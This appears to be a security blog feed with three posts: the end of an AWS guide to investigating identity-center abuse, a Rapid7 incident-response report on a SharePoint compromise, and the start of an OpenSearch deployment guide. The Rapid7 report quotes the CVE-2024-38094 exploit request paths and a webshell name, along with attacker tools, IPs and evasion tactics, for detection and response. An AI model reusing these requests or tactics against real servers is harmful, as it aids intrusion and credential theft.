  6. CreateGroup and AddMemberToGroup – The first action creates a group within a specified identity store, and the second action adds members to it (note that these two specific actions use an event source of sso-directory.amazonaws.com).
  7. CreatePermissionSet – This action creates a set of permissions within a specified IAM Identity Center instance that can be applied to a member account in an organization to enable access to resources in that member account. The duration of sessions authorized by the permission set is indicated by the sessionDuration value (in the example in Figure 5, this is set to the maximum duration of 12 hours).
  8. Figure 5: CloudTrail event record for CreatePermissionSet action

    Figure 5: CloudTrail event record for CreatePermissionSet action

    To find out specifically what policies were assigned during the permission set creation, you can look for the permission set in the AWS Management Console, or use the AWS CLI command aws sso-admin list-managed-policies-in-permission-set, using the IAM Identity Center instance ARN and permission set ARN as parameters. (This CLI command displays only AWS managed policies. To see customer managed policies or inline policies, use the aws sso-admin get-inline-policy-for-permission-set or the aws sso-admin list-customer-managed-policy-references-in-permission-set CLI commands). Figure 6 shows the output of this command.

    Figure 6: Determining policy for permission set

    Figure 6: Determining policy for permission set

  9. CreateAccountAssignment – This API call assigns access to a principal for an AWS member account that uses a specified permission set, usually the permission set created in the previous action. The request parameters for this action, shown in Figure 7, include the member account ID in the targetId field, the permissionSetArn, and the principalType – either a USER or GROUP. This activity was logged multiple times—each one for a different target member account.

    Figure 7: CloudTrail event for CreateAccountAssignment

    Figure 7: CloudTrail event for CreateAccountAssignment

  10. When the threat actor calls the CreateAccountAssignment action in the organization’s management account, the following actions are automatically taken in the organization’s member accounts:

    1. CreateSAMLProvider – Creates an identity provider that supports SAML 2.0.
    2. AttachRolePolicy – Attaches the specified managed policy to the specified IAM role.
    3. CreateRole – Creates a new role in your AWS account.
    4. CreateAccessKey – This action was used to create an access key for a user under the control of the threat actor.
  11. GetFederationToken – The threat actor assumed the identity of the user referenced in the previous step for which access keys were created, then called the GetFederationToken API action to create temporary credentials. These temporary credentials were then used by the threat actor to continue making unauthorized actions under a new name as identified by the –name parameter specified in the GetFederationToken event that is logged in CloudTrail (see Figure 8). The GetFederationToken event also includes other details, such as the policy that was assigned to the session, the duration of the session, and the accessKeyID generated from the GetFederationToken invocation.

    Figure 8: CloudTrail event for GetFederationToken

    Figure 8: CloudTrail event for GetFederationToken

  12. CredentialChallenge, CredentialVerification, and UserAuthentication – These actions are part of the IAM Identity Center sign-in procedure and are displayed in CloudTrail when users sign in with IAM Identity Center.
  13. Authenticate – This API call is associated with the IAM Identity Center sign-in procedure and indicates which user is authenticated by the event in the userIdentity.userName field in the CloudTrail event record, as shown in Figure 8.

    Figure 9: Name of user being authenticated

    Figure 9: Name of user being authenticated

  14. Federate – This API call is logged in CloudTrail when a user signs in with the IAM Identity Center AWS Access Portal and selects the Management console option, as shown in Figure 9. (A Federate event is not recorded if the Command line or programmatic access option is selected.)

    Figure 10: Signing in through the AWS Access Portal

    Figure 10: Signing in through the AWS Access Portal

  15. Additionally, you may see the following actions associated with this tactic in an organization’s member accounts:

  16. AssumeRoleWithSAML – This event record is related to the CreateSAMLProvider action taken in step 7a. It returns a set of temporary security credentials for users who have been authenticated through a SAML authentication response.
  17. ConsoleLogin – This action is recorded by CloudTrail when a user signs in to the AWS Management Console.

Amazon GuardDuty

If Amazon GuardDuty is turned on, a finding of Stealth:IAMUser/CloudTrailLoggingDisabled will be triggered when a CloudTrail trail is configured to stop logging. GuardDuty can also inform you of anomalous API requests observed in your account with the InitialAccess:IAMUser/AnomalousBehavior finding type. For more information on finding types, see Understanding Amazon GuardDuty findings.

AWS Config

You can configure AWS Config rules to monitor and evaluate the compliance of specific AWS configurations. For example, the cloudtrail-security-trail-enabled rule will check for CloudTrail trails that are defined according to security best practices, such as recording both read and write events, and recording management events. You can then configure these rules with an Amazon Simple Notification Service (Amazon SNS) topic to deliver notifications in the event of non-compliance. It is also possible to create custom rules in AWS Config to monitor and evaluate additional configurations. For further information on how to create AWS Config Custom rules, see AWS Config Custom Rules.

Mitigating the impact of the event

If the threat actor has an ability to write to your identity store, whether through a compromised third-party provider, a compromised identity store, or because the threat actor created the identity store, you need to make sure that you are in control of privileged actions. It’s your top priority to establish authority over your AWS Organizations organization before attempting to remove the federated access vector. The threat actor can undermine any remediation you perform if they persist in your organization’s management account.

The actions that are aligned with these top priorities are the following:

  1. Control of the organization’s management account root user: If you do not have control of the password and the MFA token (or tokens) for the management account root user, contact AWS support.
  2. If you do have control of the management account root user, make sure that you are in control of all enabled MFA devices for the root user, remove any and all access keys, and immediately rotate the password. See the IAM User Guide for current root user recommendations.

  3. Enforcement of control over an environment that is using AWS Organizations: The level of enforcement you apply in the early stages of your mitigation efforts will be determined by your business continuity plans, because these enforcement actions can disrupt your workloads.
    1. If you can tolerate the prevention of new, mutating actions from being taken within your organization, you can apply the following service control policy (SCP) to your organizational root. An important point to note is that SCPs do not apply to the management account, which is why our recommendations state, “use the management account only for tasks that require the management account.” This SCP enforces its constraints only for the child organizational units (OUs) and accounts of the organizational root, which is why the first step in this impact mitigation process was making sure that you control the root user for the management account.
      {
          "Version": "2012-10-17",
          "Statement": [
            {
              "Sid": "DenyAllActionsBreakGlass",
              "Effect": "Deny",
              "Action": [
                "*"
              ],
              "Resource": "*",
              "Condition": {
                "ArnNotLike": {
                  "aws:PrincipalARN": [
                    "arn:aws:iam::111122223333:role/exempt-ir-role-breakglass1",
                    "arn:aws:iam::111122223333:role/exempt-ir-role-breakglass2"
                ]
              }
            }
          }
        ]
      }

      Within this SCP, you can see an exemption made for two break-glass roles. Where break-glass access is needed, these roles will need to be created before the SCP is applied. Break-glass access refers to a quick means for a person who does not have access privileges to certain AWS accounts to gain access in exceptional circumstances by using an approved process. (For more information on creating break-glass access for your organization, see this AWS whitepaper).

    2. If you only have tolerance for a partial disruption of non-critical or production workloads, you can reduce and adjust the scope of the SCP to your tolerance level. Apply the same SCP only to those non-production, non-critical organizational units, or even only on individual AWS accounts, as shown in Figure 10.

      Figure 11: AWS Organizations levels for service control policies

      Figure 11: AWS Organizations levels for service control policies

    3. Regardless of your business continuity tolerance, at a minimum, apply an SCP similar to the following one to your organization root, in order to invalidate sessions and temporary tokens. (Make sure that the value of the aws:TokenIssueTime parameter in the SCP is set to the current date and time and uses the ISO 8601 format.) Consider that this SCP includes any and all sessions and tokens in the organization in its scope, and consider the impact if there are dependencies on sessions or tokens that are not auto-renewing.

      The following example SCP denies all actions, on all resources, for any session authenticating with a token issued before 2024-06-20 21:55:34 UTC..

      {
        "Version": "2012-10-17",
        "Statement": [
          {
              "Sid": "DenySessionBeforeTime",
              "Effect": "Deny",
              "Action": "*",
              "Resource": "*",
              "Condition": {
                "DateLessThan": {
                  "aws:TokenIssueTime": "2024-06-20T21:55:34Z"
              }
            }
          }
        ]
      }

      This blog post explains how to revoke federated users’ active AWS sessions.

  4. Removing the federated access vector: Once you’ve recovered some control over your organization by using the preceding actions, you can mitigate two of the federated access vector scenarios with the same action. If the access vector is a threat actor–created identity store, it is a non-disruptive choice to remove that identity store.

    If instead your identity store was compromised, and this identity store is the primary or sole method for authorization, deleting it from your AWS account could impact your production environments and business continuity.

    1. Deletion of a threat actor–created identity store: This is a permanent action that cannot be undone. User and group data associated with the deleted identity store is permanently removed. This includes user profiles, group memberships, and any other user- or group-related information. Any users or groups that were previously granted access to AWS resources or services through the deleted identity store will lose that access. Any permissions or roles assigned to users or groups from the deleted identity store will be revoked.

      For instructions, see Delete your IAM Identity Center instance.

    2. You should be aware that in this scenario where a third-party IdP is compromised, if the identity store that the third-party IdP is connected to is the sole method for authorization, then deleting the third-party IdP configuration could impact your production environments and business continuity.

    3. Removal of the third-party IdP from your federation configuration: When you remove a third-party IdP from your IAM Identity Center instance, any authentication and authorization flows that were using the third-party IdP for federated access to AWS resources will be disrupted. All user and group data that was previously synchronized from the third-party IdP to IAM Identity Center is removed. Any user profiles, group memberships, and other user- or group-related information from the third-party IdP will no longer be available in IAM Identity Center.

      You can perform the removal of the third-party IdP by changing your identity source in IAM Identity Center from an external IdP to IAM Identity Center itself. For instructions, see Change your identity source in the IAM Identity Center User Guide.

    4. Regardless of your previous decisions, you should make sure that there are no other methods of federation enablement within your environment. There are three other limited methods of federation into AWS. These methods don’t provide account access or privileges like the vectors mentioned earlier, but you should still review for them. One method is with an Amazon Connect instance, as described in this blog post. A second method is through an account instance of IAM Identity Center, as described in this blog post. The third method is to create an identity provider by using IAM within an individual account, which a threat actor can do by using OIDC federation or SAML 2.0 federation (look for the event names CreateOpenIDConnectProvider, CreateSAMLProvider or CreateInstance in your account’s CloudTrail event history to identify whether this has occurred).
    5. If you don’t want to disconnect IAM Identity Center entirely, another option is to remove permission sets that are assigned individually to each member. See this IAM Identity Center guidance for instructions on removing permission sets. Figure 11 depicts how this action appears in the AWS Management Console.

      Figure 12: Permission set removal in IAM Identity Center

      Figure 12: Permission set removal in IAM Identity Center

    6. At an even less disruptive level, you can remove the policies attached to the permission sets within IAM Identity Center, using the following steps:
      1. Open the IAM Identity Center console.
      2. Under Multi-account permissions, choose Permission sets.
      3. In the table on the Permission sets page, select the permission set from which you wish to detach the policies.
      4. On the Permissions tab, select the policies you wish to detach, then choose Detach. A pop-up window will appear (see Figure 12). Choose Detach once more to confirm the detachment of the policy from the permission set.

        Figure 13: Managed policy removal from a permission set

        Figure 13: Managed policy removal from a permission set

Eradication

Regardless of what methods you chose for containment, you want to eradicate the threat actor’s persistent access vectors. The following list outlines the actions that customers can take to perform eradication in their environments:

  1. Identify and methodically remove any additional forms of access or persistence within your accounts which you did not create or authorize. Generate an IAM credential report for each account and review the results for forms of access to remove.
  2. If IAM Access Analyzer is enabled, review Access Analyzer for any externally shared resources. During this process, at a minimum, make sure that all static access keys in all accounts are revoked. Also make sure that all IAM users which had static access keys have an inline policy applied that denies access based on the aws:TokenIssueTime, where the value of the aws:TokenIssueTime parameter is set to the current time using the ISO 8601 format.

  3. Make sure that all non-service-linked roles have their sessions revoked. It isn’t possible to revoke sessions of service-linked roles. Revoking sessions for each role invalidates any credentials a threat actor might have obtained by previously assuming the role. (For instructions on how to perform this programmatically in your account, see the section titled Revoking session permissions before a specified time in the topic Revoking IAM role temporary security credentials.)
  4. Make sure that you have control of root users for all remaining AWS accounts. As described previously, the results from the IAM credential report will help you quickly identify any unknown MFA devices or access keys. This item is third in this list because it might be a long process if you’ve lost control of the root users. Remember that as long as you have an appropriate SCP applied, actions by the organization member account root users are blocked.

    Figure 14: IAM Credential Report sample

    Figure 14: IAM Credential Report sample

    We can see in Figure 13 that the root account user does not have an MFA device assigned.

  5. Before you begin to delete, stop, or terminate workloads, consider taking the opportunity to isolate and perform forensics on any threat actor–created or modified resources and workloads. Although forensics on AWS is beyond the scope of this post, it is described in the AWS Security Incident Response Guide.

Conclusion

The sections in this post can help you mitigate, detect, and prepare to respond to events of this type where threat actors leverage specific customer configurations or designs.

Being aware of the tactics used by threat actors, developing and testing an incident response plan, and performing simulations such as tabletop exercises to practice your response are great ways to improve your security posture and practice.

As always, you should measure the guidance provided here against your own security policies and procedures, and should take the business requirements of your organization into consideration.

Additionally, you may want to check your environment to confirm the following:

  • You have removed or limited long-term access key usage.
  • You have deployed SCPs that prevent unauthorized manipulation of GuardDuty and prevent unauthorized addition of IdPs.
  • You have created or updated playbooks that incorporate incident response actions that were performed to recover from the compromise of your IdP.
  • You have reviewed permissions to verify that your identities adhere to the principle of least privilege. (This blog post provides further information on how to limit permissions.)

Finally, if you want to learn how you can detect and respond to other types of security issues, such as unauthorized IAM credential use, ransomware on Amazon Simple Storage Service (Amazon S3), and cryptomining, head on over to the AWS CIRT publicly available workshops. (You will need an AWS account to use the workshops.)

Thanks for reading, and stay secure!

If you have feedback about this post, submit comments in the Comments section below. If you have questions about this post, contact AWS Support.

Steve de Vera

Steve de Vera

Steve is a manager in the AWS CIRT (Customer Incident Response Team). He is passionate about American-style BBQ and is a certified competition BBQ judge. He has a dog named Brisket.

Mike Saintcross

Mike Saintcross

Mike is a Senior Security Consultant at AWS helping customers achieve their cloud security goals. Mike loves anything with two wheels and a clutch, but especially dirtbikes and supersports.

Investigating a SharePoint Compromise: IR Tales from the Field

Post Syndicated from Rapid7 original https://blog.rapid7.com/2024/10/30/investigating-a-sharepoint-compromise-ir-tales-from-the-field/

Executive summary

Investigating a SharePoint Compromise: IR Tales from the Field

Rapid7’s Incident Response team recently investigated a Microsoft Exchange service account with domain administrator privileges. Our investigation uncovered an attacker who accessed a server without authorization and moved laterally across the network, compromising the entire domain. The attacker remained undetected for two weeks. Rapid7 determined the initial access vector to be the exploitation of a vulnerability, CVE 2024-38094, within the on-premise SharePoint server.

Exploitation for initial access has been a common theme in 2024, often requiring security tooling and efficient response procedures to avoid major impact. The attacker’s tactics, techniques, and procedures (TTPs) are showcased in this blog, along with some twists and turns we encountered when handling the investigation.

Observed attacker behavior

Rapid7 began exploring suspicious activity that involved process executions tied to a Microsoft Exchange service account. This involved the service account installing the Horoung Antivirus (AV) software, which was not an authorized software in the environment. For context, Horoung Antivirus is a popular AV software in China that can be installed from Microsoft Store. Most notably, the installation of Horoung caused a conflict with active security products on the system. This resulted in a crash of these services. Stopping the system’s current security solutions allowed the attacker freedom to pursue follow-on objectives thus relating this malicious activity to Impairing Defenses (T1562).

Zooming out from the specific event to look at the surrounding activity paints a clear picture of the attacker’s intended goal. Shortly before installing Horoung AV, the attacker used Python to install Impacket from GitHub and then attempted to execute it. Impacket is a collection of open-source Python scripts to interact with network protocols, typically utilized to facilitate lateral movement and other post-exploitation objectives. The system’s security tooling blocked the Impacket execution, which led to the download via browser and installation of this AV product to circumvent defenses.

As with many incident response investigations, identified clues are not always chronological, thus requiring a timeline to be constructed to understand the narrative. We must attempt to discover how the attacker compromised the system or accessed the environment in the first place. In this specific investigation, the attacker had a dwell time of two weeks. The attacker’s actions are detailed chronologically in the figure below.

Investigating a SharePoint Compromise: IR Tales from the Field
Figure 1: MITRE Timeline

A great resource for identifying lateral movement involves analysis of authentication event logs from the domain controllers, specifically event ID 4624. Evidence indicated that malicious activity for this compromised Exchange service account involved more than just this single system. The source of unauthorized activity went back a week prior on a domain controller.

Analysis of the domain controller revealed that the attacker used this Exchange service account to authenticate via Remote Desktop Protocol (RDP). The attacker went on to disable Windows Defender Threat Detection (WDTD) on the system and added an exclusion for a malicious binary called msvrp.exe using the GUI. The malicious binary was placed in the C:\ProgramData\VMware\ folder but was not related to VMware. This binary is a tool called Fast Reverse Proxy (FRP), which allows external access to the system through a NAT-configured firewall. The FRP tool requires an .ini file to provide the necessary network configuration to establish an outbound connection. The .ini file’s external IP address has been provided in the Indicators of Compromise (IoCs) table in this blog post. Persistence was established for the FRP via scheduled tasks on the domain controller. Review of the C:\ProgramData\VMware\ folder used by the attacker revealed additional malicious binaries such as ADExplorer64.exe, NTDSUtil.exe, and nxc.exe. These tools were utilized to map the Active Directory environment, gather credentials, and scan systems.

Further analysis of authentication events from the domain controller indicated this malicious activity was sourced from a public-facing SharePoint server. Evidence indicated that the attacker executed Mimikatz, and there were signs of log tampering on the SharePoint server. It also indicated that a majority of system logging was disabled, and several key event log sources were absent during the investigation timeframe. Mimikatz has the ability to clear event logs and disable system logging. These malicious executions were tied to the local administrator account on the system. This would provide the necessary privileges for log tampering on the SharePoint server. However, some logs were spared, such as RDP log evidence. This indicated all authentication for the local administrator account was sourced from the local system to the local system during the in-scope time frame. The authentication information indicated that the potential initial access vector (IAV) would be tied to this SharePoint server. In light of this evidence, Rapid7 dug deeper into potential exploitation of the SharePoint services for an answer.

Rapid7 reviewed available SharePoint inetpub logs and identified the following GET and POST requests indicative of CVE-2024-38094 being exploited from the external IP address 18.195.61[.]200.

POST /_vti_bin/client.svc/web/GetFolderByServerRelativeUrl('/BusinessDataMetadataC atalog/')/Files/add(url='/BusinessDataMetadataCatalog/BDCMetadata.bdcm 
			
POST /_vti_bin/DelveApi.ashx/config/ghostfile93.aspx 

This vulnerability allows for remote code execution (RCE) on systems running Microsoft SharePoint from an external source. The proof-of-concept (PoC) code identified here was observed in available SharePoint log evidence. A great resource that explains the PoC code on Github can be found here. Utilizing this vulnerability, the attacker dropped a webshell on the system. The webshell was called ghostfile93.aspx, which generated numerous HTTP POST requests from the same external IP address tied to the exploit string within log evidence. After several hours of using the webshell, the attacker authenticated into the system using the local administrator account.

Initial access occurred two weeks prior to the start of the investigation. The attacker performed other notable TTPs during the dwell time. These TTPs involved utilizing several binaries to include everything.exe, kerbrute_windows_amd64.exe, 66.exe, Certify.exe, and attempts to destroy third-party backups. The binary everything.exe can index the NTFS file system for efficient searching across files, such as recently used files and network shares. Some of the most notable binaries include 66.exe, a renamed version of Mimikatz, and Certify.exe, which creates an ADFS certificate to utilize for elevated actions within the Active Directory environment. The remaining binary kerbrute_windows_amd64.exe has extensive capability for brute-forcing Active Directory Kerberos tickets. The attacker failed to compromise the third-party backup solution but attempted multiple methods, including access via the browser using compromised credentials and connecting over SSH.

As discussed previously, the installation of external AV products to disable security tooling was an interesting TTP identified during this investigation. Shortly after being blocked for attempted Impacket execution, Rapid7 identified the attacker leveraging an installation batch script called hrsword install.bat. The contents of this script indicate that the Huorong AntiVirus (AV) security solution was being installed. This script involved a service creation called sysdiag to execute the driver file sysdiag_win10.sys, which creates a VBS script execution parameter to execute HRSword.exe. Rapid7 observed this installation causing errors for security products on the system, potentially leading to a scenario in which the service or application would crash. These install files and all IOCs identified during this investigation have been provided in the IOC table contained within this blog.

Rapid7 customers

InsightVM and Nexpose customers can assess their exposure to the Microsoft SharePoint CVE-2024-38094 with authenticated vulnerability checks added in the July 09, 2024 content release.

Rapid7 used Velociraptor during this investigation to allow for remote triage and collection of forensic artifacts on the endpoint. A Velociraptor artifact has been created to hunt for strings related to the public PoC and log evidence identified during the investigation. The artifact can be found within the Rapid7 Labs VQL Repo here

InsightIDR and Managed Detection and Response customers have existing detection coverage through Rapid7’s expansive library of detection rules. Rapid7 recommends installing the Insight Agent on all applicable hosts to ensure visibility into suspicious processes and proper detection coverage. Below is a non-exhaustive list of detections that are deployed and will alert on behavior related to exploitation of this vulnerability.
Suspicious Commands Launched by Webserver
IIS Launching Discovery Commands
IIS Spawns PowerShell
Attacker Tool – Impacket
Attacker Tool – MimiKatz
Attacker Technique – Hash Dumping With NTDSUtil
Attacker Technique – Clearing Event Logs
Defense Evasion – Disabling Multiple Security or Backup Products

Rapid7 also recommends ensuring that SharePoint is patched to the latest version.

MITRE ATT&CK techniques

Tactic Technique Details
Initial Access Exploit Public-Facing Application (T1190) CVE-2024-38094: Microsoft SharePoint Remote Code Execution Vulnerability
Defense Evasion Impair Defense (T1562) AV solution being utilized to disable or degrade security tools on systems.
Discovery Account Discovery (T1087) Usage of AD enumeration tools
Command and Control Proxy (T1090) Fast Reverse Proxy being used to establish outbound connection
Discovery File and Directory Discovery (T1083) Everything.exe being observed on in-scope systems.
Discovery Network Share Discovery (T1135) nxc.exe being observed on in-scope systems.
Credential Access OS Credential Dumping (T1003) Various credential harvesting tools observed on in-scope systems
Persistence Scheduled Task/Job (T1053) Scheduled tasks observed on in-scope systems to execute the FRP tool.

Indicators of Compromise

Attribute Value Description
Filename and Path c:\users\Redacted\documents\everything-1.4.1.1024.x86\everything.exe Binary to locate files
SHA256 d3a6ed07bd3b52c62411132d060560f9c0c88ce183851f16b632a99b4d4e7581 Hash for everything.exe
Filename and Path c:\programdata\vmware\66.exe Renamed mimikatz.exe
SHA256 61c0810a23580cf492a6ba4f7654566108331e7a4134c968c2d6a05261b2d8a1 Hash for mimikatz.exe
Filename and Path c:\programdata\vmware\certify.exe Creates an ADFS certificate to utilize for elevated actions within the Active Directory environment.
SHA256 95cc0b082fcfc366a7de8030a6325c099d8012533a3234edbdf555df082413c7 Hash for certify.exe
Filename and Path c:\programdata\vmware\kerbrute_windows_amd64.exe Used to perform Kerberos pre-auth brute forcing.
SHA256 d18aa84b7bf0efde9c6b5db2a38ab1ec9484c59c5284c0bd080f5197bf9388b0 Hash for kerbrute_windows_amd64.exe
Filename and Path c:\programdata\vmware\msvrp.exe Fast Reverse Proxy tool for allowing external access to the system through a NAT configured firewall.
SHA256 f618b09c0908119399d14f80fc868b002b987006f7c76adbcec1ac11b9208940 Hash for msvrp.exe
Filename and Path c:\programdata\vmware\nxc.exe Newer version of the CrackMapExec Network Pentesting tool.
SHA256 95cc0b082fcfc366a7de8030a6325c099d8012533a3234edbdf555df082413c7 Hash for nxc.exe
Filename and Path c:\programdata\vmware\adexplorer64.exe Active Directory Enumeration Tool
SHA256 e451287843b3927c6046eaabd3e22b929bc1f445eec23a73b1398b115d02e4fb Hash for adexplorer64.exe
Filename and Path c:\users\Redacted\documents\h\hrsword install.bat Component of Huorong AV
SHA256 1beec8cecd28fdf9f7e0fc5fb9226b360934086ded84f69e3d542d1362e3fdf3 Hash for hrsword install.bat
Filename and Path c:\users\Redacted\documents\h\hrsword.exe Component of Huorong AV
SHA256 6ce228240458563d73c1c3cbbd04ef15cb7c5badacc78ce331848f5431b406cc Hash for hrsword.exe
Filename and Path c:\Windows\System32\drivers\sysdiag_win10.sys System driver component of Huorong AV
SHA256 acb5de5a69c06b7501f86c0522d10fefa9c34776c7535e937e946c6abfc9bbc6 Hash for sysdiag_win10.sys
Log-Based IOC POST /_vti_bin/client.svc/web/GetFolderByServerRelativeUrl(‘/BusinessDataMetadataC atalog/’)/Files/add(url=’/BusinessDataMetadataCatalog/BDCMetadata.bdcm POC code identified in SharePoint logs.
Log-Based IOC POST /_vti_bin/DelveApi.ashx/config/ghostfile93.aspx Webshell identified within SharePoint logs.
IP Address 54.255.89[.]118 IP address from .ini file for Fast Reverse Proxy tool
IP Address 18.195.61[.]200 Source IP address from exploitation and webshell communications

How to deploy an Amazon OpenSearch cluster to ingest logs from Amazon Security Lake

Post Syndicated from Kevin Low original https://aws.amazon.com/blogs/security/how-to-deploy-an-amazon-opensearch-cluster-to-ingest-logs-from-amazon-security-lake/

January 30, 2025: This post was republished to make the instructions clearer and compatible with OCSF 1.1.


Customers often require multiple log sources across their AWS environment to empower their teams to respond and investigate security events. In part one of this two-part blog post, I show you how you can use Amazon OpenSearch Service to ingest logs collected by Amazon Security Lake to facilitate near real-time monitoring.

Many customers use Security Lake to automatically centralize security data from Amazon Web Services (AWS) environments, software as a service (SaaS) providers, on-premises workloads, and cloud sources into a purpose-built data lake in their AWS environment. OpenSearch Service is a managed service that customers can use to deploy, operate, and scale OpenSearch clusters in the AWS Cloud. It natively integrates with Security Lake to enable customers to perform interactive log analytics and searches across large datasets, create enterprise visualization and dashboards, and perform analysis across disparate applications and logs. With Amazon OpenSearch Security Analytics, customers can also gain visibility into the security posture of their organization’s infrastructure, monitor for anomalous activity, detect potential security threats in near real time, and initiate alerts to pre-configured destinations.

Without using Amazon OpenSearch Service, customers would need to build, deploy and manage infrastructure for an analytics solution, such as an ELK stack.

Prerequisites

Security Lake should already be deployed. For details on how to deploy Security Lake, see Getting started with Amazon Security Lake. You will need AWS Identity and Access Management (IAM) permissions to manage Security Lake, OpenSearch Service, Amazon Cognito, AWS Secrets Manager, and Amazon Elastic Compute Cloud (Amazon EC2), and to create IAM roles to follow along with this post. The solution can be deployed in any AWS Region that has at least 3 Availability Zones, supports Security Lake, OpenSearch, and OpenSearch Ingestion.

Solution overview

The architecture diagram in Figure 1 shows the completed architecture of the solution.

  1. The OpenSearch Service cluster is deployed within a virtual private cloud (VPC) across three Availability Zones for high availability.
  2. The OpenSearch Service cluster ingests logs from Security Lake using an OpenSearch Ingestion pipeline.
  3. The cluster is accessed by end users through a public-facing proxy hosted on an Amazon EC2 instance.
    1. To reduce costs, the template doesn’t deploy a dead letter queue (DLQ) for the OpenSearch Ingestion pipeline. You can add one later if you want.
    2. Instead of a public facing proxy, you can deploy a VPN to access your cluster.
  4. Authentication to the cluster is managed with Amazon Cognito.

Figure 1: Solution architecture

Figure 1: Solution architecture

Planning the deployment

This section will help you plan your OpenSearch service deployment, including what nodes you should choose, the amount of storage to allocate, and where to deploy the cluster.

Deciding instances for the OpenSearch Service master and data nodes

First, determine what instance type to use for the master and data nodes. If your workload generates less than 100 GB of Security Lake logs per day, we recommend using three m6g.large.search master nodes and three r6g.large.search data nodes. You can start small and scale up or scale out later. For more information about deciding the size and number of instances, see Get started with Amazon OpenSearch Service. Note the instance types that you have selected on a text editor because you will use this as an input for the AWS CloudFormation template that you will deploy later.

Configuring storage

To optimize your storage costs, you need to plan your data strategy. In this architecture, Security Lake is used for long-term log storage. Because Security Lake uses Amazon Simple Storage Service (Amazon S3), you can optimize long-term storage costs. You can configure OpenSearch Service to ingest priority logs based on the recent data that you can use for near-real time detection and alerting. Your team can query logs in Security Lake using its Zero-ETL integration with OpenSearch Service to analyze older logs.

Therefore, Security Lake should serve as your primary long-term log storage, with OpenSearch Service storing only the most recent logs.

The number of days of logs in OpenSearch Service will depend on how many days’ worth of data you need to investigate at a given time. I recommend storing 15 days of data in OpenSearch Service. This allows you to react to and investigate the most immediate security events while optimizing storage costs for older logs.

The next step is to determine the volume of logs generated by Security Lake.

  1. Sign in to the Security Lake delegated administrator account.
  2. Go to the AWS Management Console for Security Lake. Choose Usage in the navigation pane.
  3. On the Usage screen, select Last 30 days as the range of usage.
  4. Add the total Actual usage for the last 30 days for the data sources that you intend to send to OpenSearch. If you have used Security Lake for less than 30 days, you can use the Total predicted usage per month. Divide this figure by 30 to get the daily data volume.

Figure 2: Select range of usage

Figure 2: Select range of usage

To determine the total storage needed, multiply the data generated by Security Lake per day by the retention period you chose, then by 1.1 to account for the indexes, then multiply that number by 1.15 for overhead storage. For more information about calculating storage, see Get started with Amazon OpenSearch Service.

To determine the amount of Amazon Elastic Block Store (Amazon EBS) storage that you need per node, take the total amount of storage and divide it by the number of nodes that you have. Round that number up to the nearest whole number. You can increase the amount of storage after deployment when you have a better understanding of your workload. Make a note of this number in a text editor because you’ll use it as an input in the CloudFormation template later.

Example 1: 10 GB of Security Lake logs generated per day, stored for 30 days in OpenSearch Service in three nodes

  • 10 GB of Security Lake logs stored for 30 days = 10 GB * 30 = 300 GB
  • Account for additional space for indexes and overhead space = 300 GB * 1.1 * 1.15 = 379.5 GB
  • Divide the storage required across three nodes, rounded up = 379.5/3 ≈ 127 GB per node
  • You would need 127 GB per node in OpenSearch Service

Example 2: 200 GB of Security Lake logs generated per day, stored for 15 days in OpenSearch Service across six nodes

  • 200 GB of Security Lake logs stored for 15 days = 200 GB * 15 = 3000 GB
  • Account for additional space for indexes and overhead space = 3000 GB * 1.1 * 1.15 = 3795 GB
  • Divide the storage required across three nodes, rounded up = 3795/6 ≈ 633 GB per node
  • You would need 633 GB per node in OpenSearch Service

Where to deploy the cluster?

If you have an AWS Control Tower deployment or have a deployment modelled after the AWS Security Reference Architecture (AWS SRA), Security Lake should be deployed in the Log Archive account. Because security best practices recommend that the Log Archive account should not be frequently accessed, the OpenSearch Service cluster should be deployed into your Audit account or Security Tooling account.

You need to deploy your Security Lake subscriber in the same Region as your Security Lake roll-up Region. If you have more than one roll-up Region, choose the Region that collects logs from the Regions you want to monitor.

Your cluster needs to be deployed in the same Region as your Security Lake subscriber be able to access data.

Setting up the Security Lake subscriber

Before deploying the solution, create a Security Lake subscriber in your Security Lake roll-up Region so that OpenSearch Service can access data from Amazon Security Lake.

  1. Access the Security Lake console in your Log Archive account.
  2. Choose Subscribers in the navigation pane.
  3. Choose Create subscriber.
  4. On the Create subscriber page, enter a name, such as OpenSearch-subscriber.
  5. Under Data Access, select Under S3 notification type, select SQS queue.
  6. Under Subscriber credentials, enter the AWS account ID for the account you plan to deploy the OpenSearch cluster to, which should be your Security Tooling
  7. Enter OpenSearchIngestion-<AWS account ID> under External ID.

    Figure 3: Configuring the Security Lake subscriber

    Figure 3: Configuring the Security Lake subscriber

  8. Leave All log and event sources selected and choose Create.

After the subscriber has been created, you will need to collect information to facilitate the deployment.

To gather necessary information:

  1. Select the subscriber that you just created.
  2. Derive the S3 bucket name from the S3 bucket ARN and store it in a text editor. The Amazon Resource Name (ARN) is formatted as arn:aws:s3:::<bucket name>. The bucket name should look like aws-security-data-lake-<region>-xxxxx.

    Figure 4: Derive the S3 bucket name from the Subscriber details page

    Figure 4: Derive the S3 bucket name from the Subscriber details page

  3. Go to the Amazon Simple Queue Service (Amazon SQS) console and select the SQS queue created as part of the Security Lake subscriber. It should look like AmazonSecurityLake-xxxxxxxxx-Main-Queue. Note the queue’s ARN and URL in your text editor.

    Figure 5: Relevant details from the SQS queue

    Figure 5: Relevant details from the SQS queue

Deploy the solution

To deploy the solution in your Security Tooling account, use a CloudFormation template. This template deploys the OpenSearch Service cluster, OpenSearch Ingestion pipeline, and an AWS Lambda function to initialize the cluster.

To deploy the OpenSearch cluster:

  1. To deploy the CloudFormation template that builds the OpenSearch service cluster, select the Launch Stack button.

    Select this image to open a link that starts building the CloudFormation stack

  2. In the CloudFormation console, make sure that you are in the correct AWS account. You should be in your Security Tooling account. Also make sure that you have selected the same Region as your Security Lake subscriber.
  3. Enter a name for your stack. A name like os-stack-<day>-<month> can help you keep track of deployments.
  4. Enter the instance types and Amazon EBS volume size that you noted earlier.
  5. Enter the IP address range that you want to allow to access the proxy’s security group. You should limit this to your corporate IP range. You can set it as 0.0.0/0 if you want to expose it to the public internet.
  6. Fill in the details of the Security Lake bucket and the subscriber Amazon SQS queue ARN, URL, and Region.

    Figure 6: Add stack parameters

    Figure 6: Add stack parameters

  7. Check the acknowledgements in the Capabilities section.
  8. Choose Create stack to begin deploying the resources.
  9. It will take 20–30 minutes to deploy the multiple nested templates. Wait for the main stack (not the nested ones) to achieve the CREATE_COMPLETE status before proceeding to the next step.

    Note: If you encounter failures while deployment, you can download the CloudFormation file here and select Preserve successfully provisioned resources under Stack failure options while deploying. This will allow you to troubleshoot the stack deployment.

